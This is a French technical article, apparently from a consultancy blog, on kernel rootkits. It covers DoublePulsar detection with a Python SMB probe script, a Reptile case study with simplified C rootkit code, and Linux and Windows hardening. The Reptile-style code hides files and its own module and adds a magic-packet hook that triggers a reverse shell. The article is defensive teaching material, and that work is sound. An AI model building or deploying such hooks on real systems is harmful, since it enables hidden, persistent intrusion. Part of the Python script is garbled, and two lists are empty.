Attaquant SMB Trans2 Port 445 srv.sys (kernel) SrvTransaction2DispatchTable Index 0x0E = HOOKED Autres entries (normales) DoublePulsar Shellcode en memoire Pas de fichier disque Commandes: PING, EXEC, KILL, INJECT_DLL IOC : SMB Trans2 SESSION_SETUP (0x0E) Response MultiplexID = 0x0051 (infection marker)

7.2 Détection réseau et IOCs

DoublePulsar laisse une signature réseau détectable : lorsqu'une machine infectée reçoit une requête SMB Trans2 SESSION_SETUP, elle répond avec un MultiplexID modifié (0x0051 au lieu de la valeur attendue). Ce comportement permet un scan de détection :

#!/usr/bin/env python3
"""doublepulsar_detect.py - Detecte les machines infectees par DoublePulsar
Envoie une requete SMB Trans2 SESSION_SETUP et analyse le MultiplexID
de la reponse. Un MultiplexID de 0x0051 indique une infection.
"""

import socket
import struct
import sys

def check_doublepulsar(target_ip: str, port: int = 445) -> bool:
    """Verifie si la cible est infectee par DoublePulsar."""

    # Negociation SMB initiale
    negotiate = bytearray([
        0x00, 0x00, 0x00, 0x85,  # NetBIOS header
        0xFF, 0x53, 0x4D, 0x42,  # SMB magic
        0x72,                     # Command: Negotiate
        0x00, 0x00, 0x00, 0x00,  # Status
        0x18,                     # Flags
        0x53, 0xC8,              # Flags2
        0x00, 0x00,              # PID High
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  # Signature
        0x00, 0x00,              # Reserved
        0xFF, 0xFF,              # TID
        0xFF, 0xFE,              # PID
        0x00, 0x00,              # UID
        0x00, 0x00,              # MID
    ])
    # Ajout du dialect NT LM 0.12
    negotiate += b'\x00\x62\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00'

    # Trans2 SESSION_SETUP - le probe DoublePulsar
    trans2_probe = bytearray([
        0x00, 0x00, 0x00, 0x4E,
        0xFF, 0x53, 0x4D, 0x42,
        0x32,                     # Command: Trans2
        0x00, 0x00, 0x00, 0x00,
        0x18,
        0x07, 0xC0,
        0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00,
        0xFF, 0xFF,              # TID
        0xFF, 0xFE,              # PID
        0x00, 0x00,              # UID
        0x42, 0x42,              # MID = 0x4242 (notre valeur de reference)
        0x0F, 0x0C, 0x00,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00,
        0x0E, 0x00,              # Sub-command: SESSION_SETUP (0x0E)
        0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    ])

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, port))

        # Envoyer la negociation
        sock.send(negotiate)
        resp = sock.recv(1024)

        # Envoyer le probe Trans2
        sock.send(trans2_probe)
        resp = sock.recv(1024)

        if len(resp) >= 36:
            # Le MultiplexID est aux octets 34-35 du header SMB
            mid = struct.unpack('")
        sys.exit(1)
    check_doublepulsar(sys.argv[1])

IOCs DoublePulsar

  • Réseau : réponse SMB Trans2 SESSION_SETUP avec MultiplexID = 0x0051
  • Mémoire : modification de SrvTransaction2DispatchTable dans srv.sys
  • Comportement : allocation mémoire non-pagée dans le pool kernel (tag spécifique)
  • Signature YARA : pattern du shellcode — {4C 8B 44 24 ?? 48 8B 54 24 ?? 41 B9 00 10 00 00}

8 Étude de cas — Reptile Rootkit Linux

Reptile est un rootkit Linux open source (initialement publié sur GitHub) qui illustre parfaitement les techniques modernes de dissimulation en espace noyau. Utilisé par plusieurs groupes APT (notamment Earth Berberoka), il combine dissimulation de processus, fichiers, connexions réseau et un backdoor à paquet magique.

8.1 Architecture du module kernel

Reptile se charge comme un Loadable Kernel Module (LKM) et utilise principalement deux techniques : le hooking de fonctions VFS (Virtual File System) via ftrace/kprobes et le hooking de Netfilter pour intercepter les paquets réseau.

/* reptile_hooks.c - Mecanisme de hook simplifie (style Reptile)
 * Utilise ftrace pour hooker les fonctions kernel
 */

#include <linux/module.h>
#include <linux/ftrace.h>
#include <linux/kallsyms.h>
#include <linux/dirent.h>

#define HIDDEN_PREFIX "reptile_"

/* Structure pour un hook ftrace */
struct ftrace_hook {
    const char      *name;
    void            *function;
    void            *original;
    unsigned long    address;
    struct ftrace_ops ops;
};

/* Hook de filldir64 pour masquer les fichiers */
static int hooked_filldir64(struct dir_context *ctx,
                             const char *name, int namlen,
                             loff_t offset, u64 ino,
                             unsigned int d_type)
{
    /* Masquer les fichiers commencant par le prefixe */
    if (strncmp(name, HIDDEN_PREFIX, strlen(HIDDEN_PREFIX)) == 0)
        return 0;  /* Ignorer cette entree */

    /* Appeler le filldir64 original */
    return real_filldir64(ctx, name, namlen, offset, ino, d_type);
}

/* Hook Netfilter pour le backdoor a paquet magique */
static unsigned int magic_packet_hook(void *priv,
    struct sk_buff *skb,
    const struct nf_hook_state *state)
{
    struct iphdr  *ip_header;
    struct tcphdr *tcp_header;

    if (!skb) return NF_ACCEPT;

    ip_header = ip_hdr(skb);
    if (ip_header->protocol != IPPROTO_TCP)
        return NF_ACCEPT;

    tcp_header = tcp_hdr(skb);

    /* Verifier le "magic number" dans le port source */
    if (ntohs(tcp_header->source) == 31337) {
        /* Declencher le reverse shell vers l'IP source */
        trigger_reverse_shell(ip_header->saddr,
                              ntohs(tcp_header->dest));
        return NF_DROP;  /* Absorber le paquet */
    }

    return NF_ACCEPT;
}

/* Enregistrement du hook Netfilter */
static struct nf_hook_ops nf_hook = {
    .hook     = magic_packet_hook,
    .pf       = PF_INET,
    .hooknum  = NF_INET_PRE_ROUTING,
    .priority = NF_IP_PRI_FIRST,
};

static int __init reptile_init(void)
{
    /* 1. Installer les hooks VFS via ftrace */
    install_ftrace_hook("filldir64", hooked_filldir64);

    /* 2. Installer le hook Netfilter */
    nf_register_net_hook(&init_net, &nf_hook);

    /* 3. Masquer le module lui-meme */
    list_del_init(&THIS_MODULE->list);  /* /proc/modules */
    kobject_del(&THIS_MODULE->mkobj.kobj); /* /sys/module/ */

    printk(KERN_INFO "Module loaded\n");  /* supprime en prod */
    return 0;
}

static void __exit reptile_exit(void)
{
    nf_unregister_net_hook(&init_net, &nf_hook);
    /* Restaurer les hooks ftrace */
}

module_init(reptile_init);
module_exit(reptile_exit);
MODULE_LICENSE("GPL");

8.2 Techniques de dissimulation

Reptile emploie plusieurs couches de dissimulation :

8.3 Détection de Reptile

# === Detection des modules kernel caches ===

# Comparer /proc/modules avec la liste des modules dans sysfs
diff <(lsmod | awk '{print $1}' | sort) \
     <(ls /sys/module/ | sort)

# Verifier les hooks ftrace actifs
cat /sys/kernel/debug/tracing/enabled_functions

# Verifier les hooks Netfilter
# Necessite nftables ou iptables -L -v -n
sudo conntrack -L 2>/dev/null | head -20

# Detecter les hooks de syscall (comparaison avec System.map)
sudo cat /proc/kallsyms | grep sys_call_table
# Comparer avec le fichier System.map du kernel original

# Rechercher les zones memoire suspectes dans /proc/kcore
sudo grep -a "reptile\|magic_packet\|hidden_prefix" /proc/kallsyms

# Avec Volatility 3 sur un dump LiME
python3 -m volatility3 -f memory.lime linux.hidden_modules.Hidden_modules
python3 -m volatility3 -f memory.lime linux.check_syscall.Check_syscall
python3 -m volatility3 -f memory.lime linux.check_modules.Check_modules

9 Contre-mesures et durcissement

La défense contre les rootkits kernel repose sur une approche en profondeur combinant protection de l'intégrité du noyau, vérification des signatures, et virtualisation de la sécurité.

9.1 Windows : PatchGuard (KPP)

Kernel Patch Protection (KPP), communement appelé PatchGuard, est un mécanisme de protection intégré à Windows x64. Il vérifie périodiquement l'intégrité de structures critiques du noyau : la SSDT, l'IDT (Interrupt Descriptor Table), les GDT, les MSRs, et les tables de dispatch des drivers système. Toute modification déclenche un BSOD avec le code CRITICAL_STRUCTURE_CORRUPTION (0x109).

PatchGuard utilise l'obfuscation pour protéger son propre code : les timer callbacks qui déclenchent les vérifications sont dissimulés dans des DPC (Deferred Procedure Calls) avec des délais aléatoires de 5 à 10 minutes. Cela rend la prédiction du moment de la vérification difficile pour un rootkit cherchant à restaurer temporairement les valeurs originales (technique dite de timing attack contre PatchGuard).

9.2 VBS et HVCI

Virtualization-Based Security (VBS) et Hypervisor-protected Code Integrity (HVCI) représentent l'évolution majeure de la protection kernel Windows. VBS utilise l'hyperviseur Hyper-V pour créer un environnement d'exécution isolé (Virtual Secure Mode) même sur les systèmes non virtualisés. HVCI, fonctionnant dans ce contexte sécurisé, vérifie l'intégrité de chaque page de code kernel depuis l'hyperviseur — un niveau de privilège inaccessible au rootkit Ring 0.

Avec HVCI activé, même un rootkit ayant obtenu des privilèges kernel ne peut pas exécuter de code non signé : les tentatives de modification de pages exécutables sont bloquées par l'hyperviseur via les Second Level Address Translation (SLAT/EPT) tables.

9.3 Linux : Kernel Lockdown et IMA

Le Kernel Lockdown LSM (Linux Security Module), intégré depuis le kernel 5.4, restreint les opérations même pour root lorsqu'il est activé en mode integrity ou confidentiality :

# Verifier le statut du Kernel Lockdown
cat /sys/kernel/security/lockdown
# Resultat attendu : [integrity] ou [confidentiality]

# En mode integrity, les operations suivantes sont bloquees :
# - Chargement de modules non signes
# - Acces a /dev/mem et /dev/kmem
# - Acces a /proc/kcore
# - Utilisation de kexec avec des kernels non signes
# - Modification des parametres kernel ACPI
# - Ecriture dans les MSRs

# Activer le lockdown au boot (parametre kernel)
# Dans /etc/default/grub :
GRUB_CMDLINE_LINUX="lockdown=integrity"

# === IMA (Integrity Measurement Architecture) ===
# IMA mesure et verifie l'integrite des fichiers charges

# Activer IMA
# Parametre kernel : ima_policy=tcb ima_appraise=enforce

# Verifier les mesures IMA
cat /sys/kernel/security/ima/ascii_runtime_measurements | head

# Politique IMA pour les modules kernel
# /etc/ima/ima-policy
# measure func=MODULE_CHECK
# appraise func=MODULE_CHECK appraise_type=imasig

# === Verification de la signature des modules ===
# Verifier si le kernel exige des modules signes
cat /proc/sys/kernel/modules_disabled
# 1 = chargement de nouveaux modules interdit

# Alternative : CONFIG_MODULE_SIG_FORCE dans la config kernel
grep MODULE_SIG /boot/config-$(uname -r)

9.4 Driver Signature Enforcement

Sur Windows, le Driver Signature Enforcement (DSE) exige que tous les drivers kernel soient signés numériquement par un certificat reconnu par Microsoft. Depuis Windows 10 version 1607, les nouveaux drivers doivent être soumis au Windows Hardware Developer Center Dashboard (WHDC) pour obtenir une signature Microsoft attestation. Cela a considérablement réduit la surface d'attaque, mais des contournements existent :

10 Conclusion — L'avenir des rootkits

L'évolution des rootkits suit une trajectoire inexorable vers des niveaux de privilège de plus en plus élevés. Alors que les protections du Ring 0 se renforcent (PatchGuard, HVCI, Kernel Lockdown), les attaquants migrent vers des cibles encore plus profondes.

Rootkits de virtualisation (Ring -1) : des proof-of-concepts comme Blue Pill (Joanna Rutkowska, 2006) et SubVirt (Microsoft Research) ont démontré la faisabilité de rootkits hyperviseurs. Ces rootkits virtualisent le système d'exploitation à la volée, plaçant l'attaquant en position de contrôle total sous l'OS. Avec la généralisation de la virtualisation matérielle (VT-x, AMD-V), ces techniques deviennent de plus en plus accessibles.

Implants firmware et TEE : les Trusted Execution Environments (Intel SGX, ARM TrustZone) et les co-processeurs de gestion (Intel ME, AMD PSP) constituent des surfaces d'attaque sous-explorées. Un rootkit implanté dans Intel ME aurait accès au réseau et à la mémoire même lorsque le système est éteint. Les travaux de Positive Technologies sur le débordement de buffer dans Intel ME (2017) ont prouvé que ces environnements ne sont pas imperméables.

eBPF comme vecteur d'avenir : sur Linux, eBPF continuera d'être un champ de bataille majeur. Sa présence légitime dans les infrastructures de production (observabilité, réseau, sécurité via Cilium/Falco) rend la distinction entre usage légitime et malveillant particulièrement difficile. Les défenseurs devront investir dans des politiques de contrôle eBPF granulaires et la vérification formelle des programmes chargés.

La réponse par la virtualisation de la sécurité : l'avenir de la défense repose sur l'utilisation systématique de l'hyperviseur comme point d'observation. Des technologies comme VBS/HVCI (Windows), Bareflank (hyperviseur de sécurité open source), et les solutions de type Virtual Machine Introspection (VMI) permettent d'observer le noyau depuis un niveau de privilège supérieur, restaurant l'asymétrie en faveur du défenseur.

La chasse aux rootkits restera un défi fondamental en sécurité informatique. Chaque nouvelle couche de protection engendre de nouvelles techniques de contournement, dans une course aux armements où la compréhension profonde de l'architecture système reste l'atout maître de l'analyste. Cet article a posé les fondations méthodologiques — le reste est affaire de pratique, d'expérimentation continue et de veille active sur les évolutions de cette discipline fascinante.

Besoin d'un accompagnement expert ?

Nos consultants en cybersécurité et IA vous accompagnent dans vos projets. Devis personnalisé sous 24h.